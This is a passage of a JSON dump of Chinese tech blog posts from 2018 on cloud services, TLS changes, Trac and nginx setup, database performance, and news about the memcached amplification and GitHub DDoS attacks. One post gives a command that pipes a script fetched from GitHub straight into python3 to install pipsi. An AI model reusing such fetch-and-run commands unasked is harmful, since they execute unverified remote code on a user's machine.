    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在柬埔寨設點了：「<a href=\"https://blog.cloudflare.com/phnom-penh-cloudflares-122nd-data-center/\">ជំរាបសួរ! - Phnom Penh: Cloudflare’s 122nd Data Center</a>」。\r\n\r\n不過注意到的是他們的目標：\r\n\r\n<blockquote>By the end of 2018, we expect that 95% of the world's population will live in a country with a Cloudflare data center, as we grow our global network to span 200 cities.</blockquote>\r\n\r\n也就是今年年底要達到 95% 的人口涵蓋率...",
    "title": "Cloudflare 增加在柬埔寨的點..."
  },
  {
    "id": "8165",
    "body": "<a href=\"https://github.com/\">GitHub</a> 完全移除掉 TLSv1/TLSv1.1 以及 SSH 中 SHA1 相關的協定了：「<a href=\"https://github.com/blog/2507-weak-cryptographic-standards-removed\">Weak cryptographic standards removed</a>」。其中 TLSv1 與 TLSv1.1 的部份也可以從 <a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=github.com\">SSL Report: github.com</a> 這邊看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/loIh5Gp.webp\" /><img src=\"https://i.gslin.com/imgur/loIh5Gp.jpg\" alt=\"\" /></picture>\r\n\r\n這是之前就預告的關閉，可以參考先前提到的文章：「<a href=\"https://blog.gslin.org/archives/2018/02/02/8107/github-%E5%81%9C%E7%94%A8%E9%81%8E%E6%99%82%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95%E7%9A%84%E8%A8%88%E7%95%AB/\">GitHub 停用過時加密演算法的計畫</a>」。",
    "title": "GitHub 移除 HTTPS 中的 TLSv1/TLSv1.1，以及 SSH 中 SHA1 相關的協定"
  },
  {
    "id": "8167",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 Inter-Region VPC Peering 又多了不少區域了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/inter-region-vpc-peering-is-now-available-in-nine-additional-aws-regions/\">Inter-Region VPC Peering is Now Available in Nine Additional AWS Regions</a>」。\r\n\r\n本來是支援 <code>us-{east,west}-{1,2}</code> 這四個，現在又多了 9 個，來到了 13 個：\r\n\r\n<blockquote>Starting today, Inter-Region Virtual Private Cloud (VPC) Peering is available in AWS EU (London), EU (Ireland), EU (Paris), Asia Pacific (Mumbai), Asia Pacific (Sydney), Asia Pacific (Singapore), Asia Pacific (Tokyo), Canada (Central) and South America (São Paulo) Regions in addition to AWS US East (Northern Virgina), US East (Ohio), US West (Northern California), US West (Oregon) Regions.</blockquote>\r\n\r\n與現在的 region 表格比較，剩下的是 <code>ap-northeast-2</code> (南韓首爾) 與 <code>eu-central-1</code> (德國法蘭克福)，其他公開使用的區域都在這波的公告全上了。(也就是美國政府專屬區域與中國區不算在內)",
    "title": "Inter-Region VPC Peering 的範圍大幅增加"
  },
  {
    "id": "8168",
    "body": "在寫前一篇「<a href=\"https://blog.gslin.org/archives/2018/02/24/8167/inter-region-vpc-peering-%E7%9A%84%E7%AF%84%E5%9C%8D%E5%A4%A7%E5%B9%85%E5%A2%9E%E5%8A%A0/\">Inter-Region VPC Peering 的範圍大幅增加</a>」時，跑去查了資料「<a href=\"https://docs.aws.amazon.com/general/latest/gr/rande.html\">AWS Regions and Endpoints</a>」，發現 <a href=\"https://aws.amazon.com/\">AWS</a> 增加了 <code>ap-northeast-3</code>，但不同於其他區域的標法，大阪區的 Region Name 是「Asia Pacific (Osaka-Local)」，那個 Local 不知道代表什麼 XD\r\n\r\n另外透過搜尋翻到的，在 <a href=\"https://twitter.com/\">Twitter</a> 上的 AWS 日本帳號也提到了大阪區的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\">【新リージョン！】AWS大阪ローカルリージョンがご利用可能に！<br>»<a href=\"https://t.co/Y6z1PmuwDy\">https://t.co/Y6z1PmuwDy</a><br> <br>本日、日本で2番目、ローカルリージョンとしてはAWS 初の、Asia Pacific (Osaka) Local Region（AWS 大阪ローカルリージョン）がご利用可能になりました！<a href=\"https://twitter.com/hashtag/AWSblog?src=hash&amp;ref_src=twsrc%5Etfw\">#AWSblog</a> <a href=\"https://t.co/VoAxA7RAiP\">pic.twitter.com/VoAxA7RAiP</a></p>&mdash; アマゾンウェブサービス (@awscloud_jp) <a href=\"https://twitter.com/awscloud_jp/status/963254155782623237?ref_src=twsrc%5Etfw\">February 13, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "AWS 大阪區"
  },
  {
    "id": "8169",
    "body": "有人用相同演算法實際測試 <a href=\"https://www.google.com/\">Google</a> 的 TPUv2 與 <a href=\"https://www.nvidia.com/\">NVIDIA</a> 的 <a href=\"https://en.wikipedia.org/wiki/Nvidia_Tesla\">Tesla</a> P100 的 C/P 值了：「<a href=\"https://blog.riseml.com/benchmarking-googles-new-tpuv2-121c03b71384\">Benchmarking Google’s new TPUv2</a>」。\r\n\r\n如果以 ResNet-50 當作計算的演算法，可以看到其實 C/P 值的差距沒有想像中大。主要原因是 GPU 可以使用較低的精度計算以加快速度，而非 Google 之前新聞稿故意使用較高精度比較 (TPU 使用 8-bit matrix engine，所以 GPU 使用較低的 fp16 版本比較會比較有參考價值)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/opcBoNR.webp\" /><img src=\"https://i.gslin.com/imgur/opcBoNR.jpg\" alt=\"\" /></picture>\r\n\r\n真正的差異是在 <a href=\"https://en.wikipedia.org/wiki/Long_short-term_memory\">LSTM</a>：\r\n\r\n<blockquote>It turns out that the TPU is even faster on the LSTM model (21402 examples/s): ~12.9 times faster than a P100 (1658 examples/s) and ~7.7 times faster than a V100 (2778 examples/s)!</blockquote>\r\n\r\n不過這邊就沒特別提到精度了...",
    "title": "測試 TPUv2 的 C/P 值"
  },
  {
    "id": "8170",
    "body": "在「<a href=\"https://jacobian.org/writing/python-environment-2018/\">My Python Development Environment, 2018 Edition « Jacob Kaplan-Moss</a>」這邊看到 <a href=\"https://www.python.org/\">Python</a> 開發有哪些工具可以用 (介紹了三個)，其中管理不同 Python 版本的 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 用一陣子了，另外兩個則是之前沒用過...\r\n\r\n<a href=\"https://github.com/mitsuhiko/pipsi\">pipsi</a> 是將套件用 <a href=\"https://pypi.python.org/pypi/virtualenv\">virtualenv</a> 包起來，讓使用者在用的時候不會受到其他環境的干擾。我是拿來跟系統的 <code>python3</code> (目前在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 上是指到 3.5.1) 使用，所以安裝 pipsi 時先切到 system 再透過 <code>python3</code> 安裝 (讓他偵測到系統的 <code>python3</code>)：\r\n\r\n<pre>$ pyenv shell system\r\n$ which python3\r\n$ curl https://raw.githubusercontent.com/mitsuhiko/pipsi/master/get-pipsi.py | python3</pre>\r\n\r\n接著把 <code>PATH</code> 參數設好後 (設到 <code>.bashrc</code> 或是 <code>.zshrc</code> 之類的檔案)，重新開一個 terminal 或是 shell (讓路徑生效)，再把 <a href=\"https://pypi.python.org/pypi/awscli\">awscli</a> 裝進去：\r\n\r\n<pre>$ pipsi install awscli</pre>\r\n\r\n這樣這些工具就會吃系統的 python3 了...",
    "title": "用 pipsi 管 Python 的 command line 工具..."
  },
  {
    "id": "8171",
    "body": "在先前的文章提到了把自己在用的事件管理系統 <a href=\"https://trac.edgewall.org/\">Trac</a> 從 1.0 升級到 1.2，然後 Due Date 的設計改變了：「<a href=\"https://blog.gslin.org/archives/2018/02/18/8157/trac-1-1-%E5%A2%9E%E5%8A%A0%E7%9A%84-time-%E6%AC%84%E4%BD%8D%EF%BC%8C%E4%BB%A5%E5%8F%8A-due-date-%E8%B3%87%E6%96%99%E7%9A%84%E8%BD%89%E7%A7%BB/\">Trac 1.1 增加的 time 欄位，以及 Due Date 資料的轉移</a>」、「<a href=\"https://blog.gslin.org/archives/2018/02/18/8158/%E7%B8%BD%E7%AE%97%E6%8A%8A%E6%89%8B%E4%B8%8A%E7%9A%84-trac-1-0-%E5%8D%87%E7%B4%9A%E5%88%B0-1-2-%E4%BA%86/\">總算把手上的 Trac 1.0 升級到 1.2 了...</a>」。\r\n\r\nTrac 1.2 的資料型態是在底層存 unix timestamp 的變形 (乘以 1000000，然後前端補上 0 存成文字)，這幾天用下來才發現一些以前沒遇到的問題。\r\n\r\n一開始轉到 Trac 1.2 是設成 <code>date</code>，但意外的發現 (因為伺服器時間不是 UTC)，不同時區的使用者在更新 ticket 時，系統會判定 Due Date 有變動而產生變更記錄，想了一下就改用 <code>datetime</code> 來處理這個問題。\r\n\r\n用了 <code>datetime</code> 一陣子後，才發現先前的公司遇到的情境中，時區差異都很小，所以不會有 Due Date 理解上的問題 (像是從 +7 到 +9 的時區)，如果今天是美國西岸跟台灣互相合作的話，只用 <code>date</code> 就會產生很明顯的理解問題了...\r\n\r\n算是這陣子用 Trac 1.2 而對 Due Date 設計有不一樣的理解...",
    "title": "Trac 1.2 的 Due Date..."
  },
  {
    "id": "8174",
    "body": "在 <a href=\"https://trac.edgewall.org/\">Trac</a> 1.0 搭配舊的 <a href=\"https://trac-hacks.org/wiki/DateFieldPlugin\">DateFieldPlugin</a> 時，預設每週的第一天會是星期一，但這個設定可以在 <code>trac.ini</code> 內用 <code>first_day</code> 參數調整，像是這樣：\r\n\r\n<pre>[datefield]\r\nformat = ymd\r\nseparator = -\r\nfirst_day = 0</pre>\r\n\r\n但在 Trac 1.2 在 <code>trac.ini</code> 裡就沒有提供設定讓人調整了... 而由於 Trac 是用 <a href=\"https://jqueryui.com/\">jQuery UI</a> 的 <a href=\"https://jqueryui.com/datepicker/\">Datepicker</a>，在這個套件裡有提供方法讓人調整，所以解決的方向變成在 <code>site.html</code> 內用 JavaScript 處理，把這段程式碼塞到 JavaScript 的區段內就可以了：\r\n\r\n<pre>// Datepicker\r\njQuery.datepicker.setDefaults({firstDay: 0});</pre>\r\n\r\n一整個繼續惡搞中... 然後把 wiki 上的 <a href=\"https://wiki.gslin.org/wiki/Trac\">Trac</a> 條目也更新上去。",
    "title": "Trac 1.2 裡 datepicker 每個禮拜的第一天改成星期天"
  },
  {
    "id": "8175",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈支援 review 系統可以讀 <a href=\"https://secure.php.net/\">PHP</a> 的結構，讓使用者更好操作了：「<a href=\"https://github.com/blog/2512-quickly-review-changed-functions-in-your-php-pull-requests\">Quickly review changed functions in your PHP pull requests</a>」。\r\n\r\nGitHub 官方給的範例還蠻清楚的，在 Jump to... 的地方提供了 PHP 的結構：\r\n\r\n<img src=\"https://i.gslin.com/imgur/4t0fHot.gif\" alt=\"\" />",
    "title": "GitHub 的 review 系統可以判讀 PHP 的結構了..."
  },
  {
    "id": "8176",
    "body": "先前有提到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 Wildcard Certificate 從一月延到二月底 (表訂 2/27，參考先前的「<a href=\"https://blog.gslin.org/archives/2018/02/01/8096/lets-encrypt-%E7%9A%84-wildcard-ssl-certificate-%E5%BB%B6%E8%87%B3%E4%BA%8C%E6%9C%88%E5%BA%95%E6%8E%A8%E5%87%BA/\">Let's Encrypt 的 Wildcard SSL Certificate 延至二月底推出</a>」這篇)，今天想說歐美的時區也差不多要過完 2/27 了，結果翻資料發現在「<a href=\"https://community.letsencrypt.org/t/acmev2-and-wildcard-launch-delay/53654\">ACMEv2 and Wildcard Launch Delay</a>」這邊又宣佈延期了，這次也不給時間了 XDDD\r\n\r\n主要是 TLS-SNI 認證方式的前提有問題，導致 Let's Encrypt 臨時調度人力處理這個包 (可以參考「<a href=\"https://community.letsencrypt.org/t/2018-01-09-issue-with-tls-sni-01-and-shared-hosting-infrastructure/49996\">2018.01.09 Issue with TLS-SNI-01 and Shared Hosting Infrastructure</a>」這篇，裡面有提到共用產生的問題假設)：\r\n\r\n<blockquote>The biggest reason for this delay is the recent TLS-SNI deprecation. This unexpectedly pulled most engineering resources away from ACMEv2 and wildcard support for approximately two weeks.</blockquote>\r\n\r\n然後 2/27 的說明提到目前是沒什麼大問題，但目前還在 QA 階段，然後目前先不給 release date：\r\n\r\n<blockquote>Feb 27 Update: There are no known major issues with the ACMEv2/wildcard test endpoint. ACMEv2 and wildcard support quality assurance is continuing. No release date to announce yet.</blockquote>\r\n\r\n就只能繼續等了... XD",
    "title": "Let's Encrypt 的 Wildcard Certificate 將會再延..."
  },
  {
    "id": "8177",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 發表了一篇關於公開的 <a href=\"https://memcached.org/\">memcached</a> 伺服器，利用 UDP (Port 11211) 的放大攻擊：「<a href=\"https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/\">Memcrashed - Major amplification attacks from UDP port 11211</a>」。\r\n\r\n用地圖展示後可以清楚看出來哪些區域受到的攻擊比較大：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1iQk497.webp\" /><img src=\"https://i.gslin.com/imgur/1iQk497.jpg\" alt=\"\" /></picture>\r\n\r\n另外 <a href=\"https://www.shodan.io/\">Shodan</a> 上的資料頁可以參考，不過就不保證都有開 UDP/11211 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pGyeVod.webp\" /><img src=\"https://i.gslin.com/imgur/pGyeVod.jpg\" alt=\"\" /></picture>\r\n\r\n這種伺服器還是藏到內部網路啦...",
    "title": "透過 memcached UDP (Port 11211) 的攻擊..."
  },
  {
    "id": "8178",
    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 宣佈支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 10 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/postgresql-10-now-supported-in-amazon-rds/\">PostgreSQL 10 now Supported in Amazon RDS</a>」。而且 <a href=\"https://aws.amazon.com/\">AWS</a> 這次推出的還包括了 10.1 的 patch：\r\n\r\n<blockquote>As of version 10, PostgreSQL no longer uses three-part version numbers, and is shifting to two-part version numbers. This release includes all patches from the PostgreSQL 10.1 minor version.</blockquote>\r\n\r\n10 的第一個版本是去年十月初 (在「<a href=\"https://www.postgresql.org/about/news/1786/\">PostgreSQL 10 Released</a>」這邊可以看到)，10.1 是去年十一月初 (在「<a href=\"https://www.postgresql.org/about/news/1801/\">PostgreSQL 10.1, 9.6.6, 9.5.10, 9.4.15, 9.3.20, and 9.2.24 released!</a>」)，現在二月底，所以延遲大約是三個多月的時間...\r\n\r\n10.2 是二月初，不知道會多久...",
    "title": "Amazon RDS 宣佈支援 PostgreSQL 10"
  },
  {
    "id": "8179",
    "body": "在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 看到加州要開放自駕車上路了：「<a href=\"https://techcrunch.com/2018/02/27/california-to-allow-testing-of-self-driving-cars-without-a-driver-present/\">California to allow testing of self-driving cars without a driver present</a>」。\r\n\r\n<blockquote>California’s Department of Motor Vehicles established new rules announced Monday that will allow tech companies and others working on driverless vehicle systems to begin trialling their cars without a safety driver at the wheel. The new rules go into effect starting April 2.</blockquote>\r\n\r\n不過不是完全獨立運作，而是有附加條件，讓遠端的控制中心可以在必要時介入：\r\n\r\n<blockquote>This doesn’t mean test vehicles will be out there on the roads without any kind of human intervention backup – the DMV will require that those testing autonomous cars without a driver present have a dedicated communications channel that ties the car to a remote operator, who can take over if needed. The cars will also need to be hardened against cyber attacks and be able to provide their owner and operator info to any other parties in the event of an accident.</blockquote>\r\n\r\n馬上想到刷機 JB... XD",
    "title": "加州在四月將會開放無人自駕車上路了..."
  },
  {
    "id": "8181",
    "body": "剛剛收到信看到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04.4 LTS 出版：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-announce/2018-March/000229.html\">Ubuntu 16.04.4 LTS released</a>」，與上個版本 Ubuntu 16.04.3 LTS 比較完整的差異可以在「<a href=\"https://wiki.ubuntu.com/XenialXerus/ReleaseNotes/ChangeSummary/16.04.4\">XenialXerus/ReleaseNotes/ChangeSummary/16.04.4 - Ubuntu Wiki</a>」這邊看到。\r\n\r\n如果照慣例，這應該會是倒數第二個 16.04 的版本，在 18.04 推出後會推最後一包 Ubuntu 16.04.5 LTS。不過這也只是慣例而已... (從 12.04 之後都照這個方式在走)",
    "title": "Ubuntu 16.04.4 出版"
  },
  {
    "id": "8182",
    "body": "<a href=\"https://github.com/\">GitHub</a> 在 2/28 遭受 DDoS 攻擊，蠻快就把事故報告丟出來了：「<a href=\"https://githubengineering.com/ddos-incident-report/\">February 28th DDoS Incident Report</a>」。\r\n\r\n不過跟 GitHub 其他文章不太一樣，這篇算是 PR 稿吧，簡單來說就是花錢買 <a href=\"https://www.akamai.com/us/en/products/cloud-security/prolexic-solutions.jsp\">Akamai Prolexic</a> 的過濾服務解決... <a href=\"https://www.akamai.com/\">Akamai</a> 方的 PR 稿則是在「<a href=\"https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html\">Memcached-fueled 1.3 Tbps attacks - The Akamai Blog</a>」這邊可以看到。\r\n\r\n17:21 UTC 發現問題，然後判斷超過 100Gbps，所以 17:26 決定讓 Akamai Prolexic 接管過濾：\r\n\r\n<blockquote>At 17:21 UTC our network monitoring system detected an anomaly in the ratio of ingress to egress traffic and notified the on-call engineer and others in our chat system. This graph shows inbound versus outbound throughput over transit links:\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/x41vc7s.webp\" /><img src=\"https://i.gslin.com/imgur/x41vc7s.jpg\" alt=\"\" /></picture>\r\n\r\nGiven the increase in inbound transit bandwidth to over 100Gbps in one of our facilities, the decision was made to move traffic to Akamai, who could help provide additional edge network capacity. At 17:26 UTC the command was initiated via our ChatOps tooling to withdraw BGP announcements over transit providers and announce AS36459 exclusively over our links to Akamai. Routes reconverged in the next few minutes and access control lists mitigated the attack at their border. Monitoring of transit bandwidth levels and load balancer response codes indicated a full recovery at 17:30 UTC. At 17:34 UTC routes to internet exchanges were withdrawn as a follow-up to shift an additional 40Gbps away from our edge.</blockquote>\r\n\r\n就這樣而已，完全就是 PR 稿 XDDD",
    "title": "GitHub 在 2/28 遭受的攻擊..."
  },
  {
    "id": "8184",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://en.wikipedia.org/wiki/Microsoft_SQL_Server\">Microsoft SQL Server</a> 可以跑在 <code>t2</code> 系列的機器上了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/03/amazon-ec2-t2-instance-types-are-now-supported-on-windows-with-sql-server-enterprise/\">Amazon EC2 T2 instance types are now supported on Windows with SQL Server Enterprise</a>」。\r\n\r\n不過應該是因為記憶體限制，目前只開放 <code>t2.xlarge</code> (8GB RAM) 與 <code>t2.2xlarge</code> (16GB RAM) 上可以跑：\r\n\r\n<blockquote>Windows with SQL Server Enterprise Edition is now available on t2.xlarge and t2.2xlarge instance types.</blockquote>\r\n\r\n馬上可以想到的是測試環境，另外就是某些不能關機的內部系統，可以用離峰時間累積 CPU credit 之類的應用？",
    "title": "Microsoft SQL Server 可以跑在 t2.large 與 t2.xlarge 了..."
  },
  {
    "id": "8185",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 對 <a href=\"https://www.alexa.com/\">Alexa</a> Top 1M Sites 偏安全面向的分析：「<a href=\"https://blog.mozilla.org/security/2018/02/28/analysis-alexa-top-1m-sites-2/\">Analysis of the Alexa Top 1M Sites</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/94gblDa.webp\" /><img src=\"https://i.gslin.com/imgur/94gblDa.jpg\" alt=\"\" /></picture>\r\n\r\n對一般情況比較有用的應該是看絕對數字，也就是哪些功能是大家都優先採用了... 然後可以看出 <a href=\"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning\">HPKP</a> 跟 <a href=\"https://en.wikipedia.org/wiki/Subresource_Integrity\">SRI</a> 果然是大家都懶得上的功能 (事倍功半 XDDD)。\r\n\r\n另外也可以當作是安全性確認的 list，把 HTTP header 類的安全性設定都放上去了。",
    "title": "Mozilla 對 Alexa Top 1M Sites 的分析"
  },
  {
    "id": "8187",
    "body": "在「<a href=\"https://github.com/minimaxir/hacker-news-undocumented\">A List of Hacker News's Undocumented Features and Behaviors</a>」這邊列了不少 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的潛規則，看過後其實比較重要的是「當你需要自己實做一個類似的系統時，有哪些歷史教訓是人家已經走過的」。\r\n\r\n像是 Anti-Voting Manipulation 與 Flame-War Detector 都是蠻常見的情境，Shadowbanning 則是防治廣告機制中比較軟性的一環。Green Usernames 也算是軟性的機制...\r\n\r\n另外產品面上，Hacker News 也設計一些常見的 list 讓使用者除了首頁以外的選擇。",
    "title": "Hacker News 的潛規則"
  },
  {
    "id": "8188",
    "body": "以前的「<a href=\"https://blog.gslin.org/archives/2016/10/03/6900/nginx-fastcgi-trac/\">Nginx + FastCGI + Trac</a>」提到給的範例是把 <a href=\"https://trac.edgewall.org/\">Trac</a> 裝在 <code>/</code> 下的方法。如果是裝在 <code>/trac</code> 或是其他路徑時就需要修改了。\r\n\r\n一開始試著改會出現這樣的錯誤：\r\n\r\n<pre>No handler matched request to /trac/report/7</pre>\r\n\r\n然後研究調整後，發現 Trac 純粹是吃 <a href=\"https://en.wikipedia.org/wiki/FastCGI\">FastCGI</a> 給的參數去判斷要怎麼處理 url routing，在 <code>trac.ini</code> 內 url 相關參數主要還是用在其他地方... (像是信件通知時用的 url)\r\n\r\n首先是把檔案簡化，這是 2016 年寫的：\r\n\r\n<pre>    location / {\r\n        auth_basic \"trac realm\";\r\n        auth_basic_user_file /srv/domain.example.com/.htpasswd;\r\n\r\n        include fastcgi.conf;\r\n        fastcgi_param AUTH_USER $remote_user;\r\n        fastcgi_param HTTPS on;\r\n        fastcgi_param PATH_INFO $fastcgi_script_name;\r\n        fastcgi_param REMOTE_USER $remote_user;\r\n        fastcgi_param SCRIPT_NAME \"\";\r\n        fastcgi_pass unix:/var/run/trac/trac.sock;\r\n    }</pre>\r\n\r\n發現現在 fastcgi.conf 內都會處理 <code>HTTPS</code> 了，所以拿掉 <code>HTTPS</code> 的處理，然後把 <code>location</code> 的判斷改用 regex 去抓 <code>/trac</code> 後的東西，所以先變成這樣：\r\n\r\n<pre>    location ~ /trac(/.*) {\r\n        auth_basic \"trac realm\";\r\n        auth_basic_user_file /srv/domain.example.com/.htpasswd;\r\n\r\n        include fastcgi.conf;\r\n        fastcgi_param AUTH_USER $remote_user;\r\n        fastcgi_param PATH_INFO $fastcgi_script_name;\r\n        fastcgi_param REMOTE_USER $remote_user;\r\n        fastcgi_param SCRIPT_NAME \"\";\r\n        fastcgi_pass unix:/var/run/trac/trac.sock;\r\n    }</pre>\r\n\r\n最後是把 <code>PATH_INFO</code> 改傳 <code>$1</code> (在 <code>/</code> 的情境下 <code>$fastcgi_script_name</code> 剛好就會是 routing 用的 <code>PATH_INFO</code> 資訊，所以當時直接拿來用)，把 <code>SCRIPT_NAME</code> 改成 <code>/trac</code>。\r\n\r\n也就是跟 Trac 說基底在 <code>/trac</code>，後面的路徑才是你的 routing engine 要處理的東西，所以變成：\r\n\r\n<pre>    location ~ /trac(/.*) {\r\n        auth_basic \"trac realm\";\r\n        auth_basic_user_file /srv/domain.example.com/.htpasswd;\r\n\r\n        include fastcgi.conf;\r\n        fastcgi_param AUTH_USER $remote_user;\r\n        fastcgi_param PATH_INFO $1;\r\n        fastcgi_param REMOTE_USER $remote_user;\r\n        fastcgi_param SCRIPT_NAME \"/trac\";\r\n        fastcgi_pass unix:/var/run/trac/trac.sock;\r\n    }</pre>\r\n\r\n沒寫下來就會花不少時間重新摸...",
    "title": "在 nginx 環境中把 Trac 裝到子目錄下的設法"
  },
  {
    "id": "8189",
    "body": "在解決 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 效能問題中大概就 <a href=\"https://www.scylladb.com/\">ScyllaDB</a> 特別有名，用 C++ 重寫一次使得效能大幅改善。而 <a href=\"https://www.instagram.com/\">Instagram</a> 的人則是把底層的資料結構換掉，改用 <a href=\"http://rocksdb.org/\">RocksDB</a> (這公司真的很愛自家的 RocksDB...)：「<a href=\"https://engineering.instagram.com/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency-d64f86b43589\">Open-sourcing a 10x reduction in Apache Cassandra tail latency</a>」。\r\n\r\n主要原因是他們發現 Cassandra 在處理資料的部份會有 JVM 的 GC 問題，而且是導致 Cassandra 效能差的主要原因：\r\n\r\n<blockquote>Apache Cassandra is a distributed database with it’s own LSM tree-based storage engine written in Java. We found that the components in the storage engine, like memtable, compaction, read/write path, etc., created a lot of objects in the Java heap and generated a lot of overhead to JVM.</blockquote>\r\n\r\n然後在換完後測試可以看到效能大幅提昇，也可以看到 GC 的延遲大幅降低：\r\n\r\n<blockquote>In one of our production clusters, the P99 read latency dropped from 60ms to 20ms. We also observed that the GC stalls on that cluster dropped from 2.5% to 0.3%, which was a 10X reduction!</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bHyY6rR.webp\" /><img src=\"https://i.gslin.com/imgur/bHyY6rR.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jpSikzK.webp\" /><img src=\"https://i.gslin.com/imgur/jpSikzK.jpg\" alt=\"\" /></picture>\r\n\r\n比較一下這兩者的差異：在 ScyllaDB 是全部都用 C++ 改寫 (資料結構不換)，這樣就直接解決掉 JVM 的 GC 問題。在 Rocksandra 則是在 profiling 後挑重點換掉 (這邊看起來是處理資料的 code，直接換成 RocksDB)，另外順便把一些界面抽象化... 兩個不一樣的解法，都解決了 JVM 的 GC 問題。",
    "title": "Instagram 解決 Cassandra 效能問題的方法"
  },
  {
    "id": "8193",
    "body": "<a href=\"https://www.dnsfilter.com/\">DNSFilter</a> 這篇講 <a href=\"https://www.influxdata.com/\">InfluxDB</a> 與 <a href=\"https://www.timescale.com/\">TimescaleDB</a> 的文章頗有趣的：「<a href=\"https://blog.dnsfilter.com/3-billion-time-series-data-points-dnsfilter-replaced-influxdb-with-timescaledb-d9f827702f8b\">Towards 3B time-series data points per day: Why DNSFilter replaced InfluxDB with TimescaleDB</a>」。\r\n\r\n在沒有實際用過之前，其實都只能算是一方之詞... 另外這種轉換其實也跟每個公司內的組織組成有關，像是熟悉 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的單位就比較有機會用 TimescaleDB 解決 time series data 的問題。\r\n\r\n不過有個地方倒是讓我想記錄起來：\r\n\r\n<blockquote>Comparing TimescaleDB to InfluxDB at the same time — we realized we were losing data. InfluxDB relied on precisely timed execution of rollup commands to process the last X minutes of data into rollups. Combined with our series of rollups, we realized that some slow queries were causing us to lose data. The TimescaleDB data had 1–5% more entries! Also we no longer had to deal with cardinality issues, and could show our customers every last DNS request, even at a monthly rollup.</blockquote>\r\n\r\n會掉資料等於是跟 InfluxDB 的使用者發出警訊，要大家確認自己手上的資料是否正確... 這對於正確性要求 100% 的應用就不是開玩笑了 @_@",
    "title": "DNSFilter 使用 InfluxDB 與 TimescaleDB 的過程"
  },
  {
    "id": "8194",
    "body": "這應該是上個禮拜蠻熱鬧的一件事情 (i.e. 很多人看熱鬧 XD)，就是 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 從 <a href=\"https://zh.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B\">Visual C++</a> 改成用 <a href=\"https://clang.llvm.org/\">Clang</a> 編譯：「<a href=\"http://blog.llvm.org/2018/03/clang-is-now-used-to-build-chrome-for.html\">Clang is now used to build Chrome for Windows</a>」。\r\n\r\n文章裡推敲效能應該不是主要的因素，因為在不同項目測試下各有千秋，而且差距都不大：\r\n\r\n<blockquote>We conducted extensive A/B testing of performance. Performance telemetry numbers are about the same for MSVC-built and clang-built Chrome – some metrics get better, some get worse, but all of them are within 5% of each other.</blockquote>\r\n\r\n後面有猜測換過去的原因，可以看出因為 open source 加上 Google Chrome 團隊有強大的技術能力下，用 open source 軟體可以對 compiler 大量客製化各種功能，另外也是因為一個 compiler 就可以吃多個平台，可以省下一些跨平台的力氣 (像是相容性語法)。\r\n\r\n而 Visual C++ 在商業支援與文件兩方面比較好的優勢，在這個情況下就顯得不是那麼重要了...",
    "title": "Windows 上的 Chrome 改用 Clang 編譯"
  },
  {
    "id": "8196",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 旗下的產品 (包括 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>) 將在今年十月對 <a href=\"https://www.symantec.com/\">Symantec</a> 簽出的 SSL Certificate 終止信任：「<a href=\"https://blog.mozilla.org/security/2018/03/12/distrust-symantec-tls-certificates/\">Distrust of Symantec TLS Certificates</a>」。\r\n\r\nMozilla 有把發生的事情都整理出來：「<a href=\"https://wiki.mozilla.org/CA:Symantec_Issues\">CA:Symantec Issues</a>」，另外 Firefox 的動作分成三個階段，目前 stable 是 58，但 nightly 是 60 了：\r\n\r\n<ul>\r\n\t<li>January 2018 (Firefox 58): Notices in the Browser Console warn about Symantec certificates issued before 2016-06-01, to encourage site owners to replace their TLS certificates.</li>\r\n\t<li>May 2018 (Firefox 60): Websites will show an untrusted connection error if they use a TLS certificate issued before 2016-06-01 that chains up to a Symantec root certificate.</li>\r\n\t<li>October 2018 (Firefox 63): Distrust of Symantec root certificates for website server TLS authentication.</li>\r\n</ul>\r\n\r\n去年 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 就有先丟出對 Symantec CA 的計畫 (參考「<a 